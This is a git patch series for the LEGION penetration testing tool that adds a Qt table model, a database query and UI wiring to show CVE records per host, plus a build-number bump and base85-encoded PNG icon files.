files changed, 167 insertions(+), 24 deletions(-) create mode 100644 app/cvemodels.py diff --git a/app/cvemodels.py b/app/cvemodels.py new file mode 100644 index 00000000..a8e649dc --- /dev/null +++ b/app/cvemodels.py @@ -0,0 +1,115 @@ +#!/usr/bin/env python + +''' +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import re +from PyQt5 import QtWidgets, QtGui, QtCore +from app.auxiliary import * # for bubble sort + +class CvesTableModel(QtCore.QAbstractTableModel): + + def __init__(self, controller, cves = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__cves = cves + self.__controller = controller + + def setCves(self, cves): + self.__cves = cves + + def getCves(self): + return self.__cves + + def rowCount(self, parent): + return len(self.__cves) + + def columnCount(self, parent): + if not len(self.__cves) is 0: + return len(self.__cves[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + if column == 0: + value = self.__cves[row]['id'] + elif column == 1: + value = self.__cves[row]['name'] + elif column == 2: + value = self.__cves[row]['severity'] + elif column == 3: + value = self.__cves[row]['product'] + elif column == 4: + value = self.__cves[row]['version'] + elif column == 5: + value = self.__cves[row]['url'] + elif column == 6: + value = self.__cves[row]['source'] + return value + + + def sort(self, Ncol, order): + self.layoutAboutToBeChanged.emit() + array=[] + + if Ncol == 0: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['id']) + elif Ncol == 1: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['name']) + elif Ncol == 2: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['severity']) + elif Ncol == 3: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['product']) + elif Ncol == 4: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['version']) + elif Ncol == 5: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['url']) + elif Ncol == 6: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['source']) + + sortArrayWithArray(array, self.__cves) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__cves.reverse() + + self.layoutChanged.emit() + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + ### getter functions ### + + def getCveDBIdForRow(self, row): + return self.__cves[row]['id'] + + def getRowForDBId(self, id): + for i in range(len(self.__cves)): + if self.__cves[i]['id'] == id: + return i diff --git a/app/logic.py b/app/logic.py index 1589057b..f33d7215 100644 --- a/app/logic.py +++ b/app/logic.py @@ -248,6 +248,14 @@ def getScriptsFromDB(self, hostIP): 'WHERE hosts.ip=?') return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() + + ## FIX + def getCvesFromDB(self, hostIP): + query = ('SELECT hosts.id, cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source FROM cve AS cves ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = cves.host_id ' + + 'WHERE hosts.ip=?') + + return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() def getScriptOutputFromDB(self, scriptDBId): query = ('SELECT script.output FROM nmap_script as script WHERE script.id=?') @@ -759,7 +767,7 @@ def run(self): # it is nece db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() cveResults = scr.get_cves() for cveEntry in cveResults: - t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version) + t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version, hostId = db_host.id) session.add(t_cve) session.commit() diff --git a/controller/controller.py b/controller/controller.py index f949e6db..f517933c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,12 +28,12 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551156936' + self.build = '1551165409' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '02/25/2019' + self.update = '02/26/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' @@ -500,6 +500,9 @@ def getPortStatesForHost(self, hostid): def getScriptsFromDB(self, hostIP): return self.logic.getScriptsFromDB(hostIP) + def getCvesFromDB(self, hostIP): + return self.logic.getCvesFromDB(hostIP) + def getScriptOutputFromDB(self,scriptDBId): return self.logic.getScriptOutputFromDB(scriptDBId) diff --git a/db/database.py b/db/database.py index 49966745..82a051dd 100644 --- a/db/database.py +++ b/db/database.py @@ -132,7 +132,6 @@ class cve(Base): name = Column(String) id = Column(Integer, primary_key = True) url = Column(String) - name = Column(String) product = Column(String) severity = Column(String) source = Column(String) @@ -140,13 +139,14 @@ class cve(Base): service_id = Column(String, ForeignKey('nmap_service.id')) host_id = Column(String, ForeignKey('nmap_host.id')) - def __init__(self, url = '', name = '', product = '', severity = '', source = '', version = ''): + def __init__(self, name, url, product, hostId, severity = '', source = '', version = ''): self.url = url self.name = name self.product = product self.severity = severity self.source = source self.version = version + self.host_id = hostId class nmap_service(Base): __tablename__ = 'nmap_service' diff --git a/legion.conf b/legion.conf index 99ec41c4..8c96a4a7 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,55,92,32,0,417,132,0,0,0,0,0,0,0,658,100" +process-tab-column-widths="125,0,55,92,32,0,124,132,0,0,0,0,0,0,0,658,100" process-tab-detail=False [GeneralSettings] diff --git a/ui/gui.py b/ui/gui.py index 1da776a7..f2a8a119 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -133,14 +133,15 @@ def setupLeftPanel(self): self.horizontalLayout_3.addWidget(self.ToolsTableView) self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) - self.CvesLeftTab = QtWidgets.QWidget() - self.CvesLeftTab.setObjectName(_fromUtf8("CvesLeftTab")) - self.horizontalLayout_8 = QtWidgets.QHBoxLayout(self.CvesLeftTab) - self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8")) - self.CvesTableView = QtWidgets.QTableView(self.CvesLeftTab) - self.CvesTableView.setObjectName(_fromUtf8("CvesTableView")) - self.horizontalLayout_8.addWidget(self.CvesTableView) - self.HostsTabWidget.addTab(self.CvesLeftTab, _fromUtf8("")) + # Disabled for now + #self.CvesLeftTab = QtWidgets.QWidget() + #self.CvesLeftTab.setObjectName(_fromUtf8("CvesLeftTab")) + #self.horizontalLayout_8 = QtWidgets.QHBoxLayout(self.CvesLeftTab) + #self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8")) + #self.CvesTableView = QtWidgets.QTableView(self.CvesLeftTab) + #self.CvesTableView.setObjectName(_fromUtf8("CvesTableView")) + #self.horizontalLayout_8.addWidget(self.CvesTableView) + #self.HostsTabWidget.addTab(self.CvesLeftTab, _fromUtf8("")) def setupRightPanel(self): self.ServicesTabWidget = QtWidgets.QTabWidget() @@ -353,7 +354,7 @@ def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "LEGION", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtWidgets.QApplication.translate("MainWindow", "Hosts", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) - self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.CvesLeftTab), QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) + #self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.CvesLeftTab), QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtWidgets.QApplication.translate("MainWindow", "Tools", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.CvesRightTab), QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) diff --git a/ui/view.py b/ui/view.py index f088834e..7f4df8ed 100644 --- a/ui/view.py +++ b/ui/view.py @@ -26,6 +26,7 @@ from app.hostmodels import * from app.servicemodels import * from app.scriptmodels import * +from app.cvemodels import * from app.processmodels import * from app.auxiliary import * import time #temp @@ -177,8 +178,8 @@ def initTables(self): # this funct headers = ["Name"] setTableProperties(self.ui.ServiceNamesTableView, len(headers)) - # cves table (left) - headers = ["Name", "URL", "Fingerprint"] + # cves table (right) + headers = ["HostId", "Id", "Severity", "Product", "Version", "URL", "Source"] setTableProperties(self.ui.CvesTableView, len(headers)) # tools table (left) @@ -658,13 +659,13 @@ def switchTabClick(self): self.updateServiceNamesTableView() self.serviceNamesTableClick() - elif selectedTab == 'CVEs': - self.ui.ServicesTabWidget.setCurrentIndex(0) - self.removeToolTabs(0) # remove the tool tabs - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - if self.lazy_update_services == True: - self.updateServiceNamesTableView() - self.serviceNamesTableClick() + #elif selectedTab == 'CVEs': + # self.ui.ServicesTabWidget.setCurrentIndex(0) + # self.removeToolTabs(0) # remove the tool tabs + # self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + # if self.lazy_update_services == True: + # self.updateServiceNamesTableView() + # self.serviceNamesTableClick() elif selectedTab == 'Tools': self.updateToolsTableView() @@ -1049,6 +1050,20 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.selectRow(row) self.scriptTableClick() + def updateCvesByHostView(self, hostIP): + headers = ["HostId", "ID", "Severity", "Product", "Version", "URL", "Source"] + cves = self.controller.getCvesFromDB(hostIP) + print(cves) + self.CvesTableModel = CvesTableModel(self,self.controller.getCvesFromDB(hostIP), headers) + + for i in [0]: # hide some columns + self.ui.CvesTableView.setColumnHidden(i, True) + self.ui.CvesTableView.horizontalHeader().resizeSection(5,200) + + self.ui.CvesTableView.setModel(self.CvesTableModel) + self.ui.CvesTableView.repaint() + self.ui.CvesTableView.update() + def updateScriptsOutputView(self, scriptId): self.ui.ScriptsOutputTextEdit.clear() lines = self.controller.getScriptOutputFromDB(scriptId) @@ -1097,6 +1112,7 @@ def updateToolHostsTableView(self, toolname): def updateRightPanel(self, hostIP): self.updateServiceTableView(hostIP) self.updateScriptsView(hostIP) + self.updateCvesByHostView(hostIP) self.updateInformationView(hostIP) # populate host info tab self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) From bd4a0ee1a7e325393cb78c83ec7d498a1f296c95 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 01:46:05 -0600 Subject: [PATCH 147/450] Minor UI updates --- controller/controller.py | 2 +- images/add.png | Bin 0 -> 106948 bytes images/cancel-delete.png | Bin 0 -> 31049 bytes images/minus-black.png | Bin 0 -> 18655 bytes ui/addHostDialog.py | 15 +++++++++++++++ ui/gui.py | 16 +++++++++++++++- ui/view.py | 5 ++++- 7 files changed, 35 insertions(+), 3 deletions(-) create mode 100644 images/add.png create mode 100644 images/cancel-delete.png create mode 100644 images/minus-black.png diff --git a/controller/controller.py b/controller/controller.py index f517933c..78f23402 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551165409' + self.build = '1551167145' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/images/add.png b/images/add.png new file mode 100644 index 0000000000000000000000000000000000000000..328e5d15f343e9aa4a0590959c622d9f6a6844f5 GIT binary patch literal 106948 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 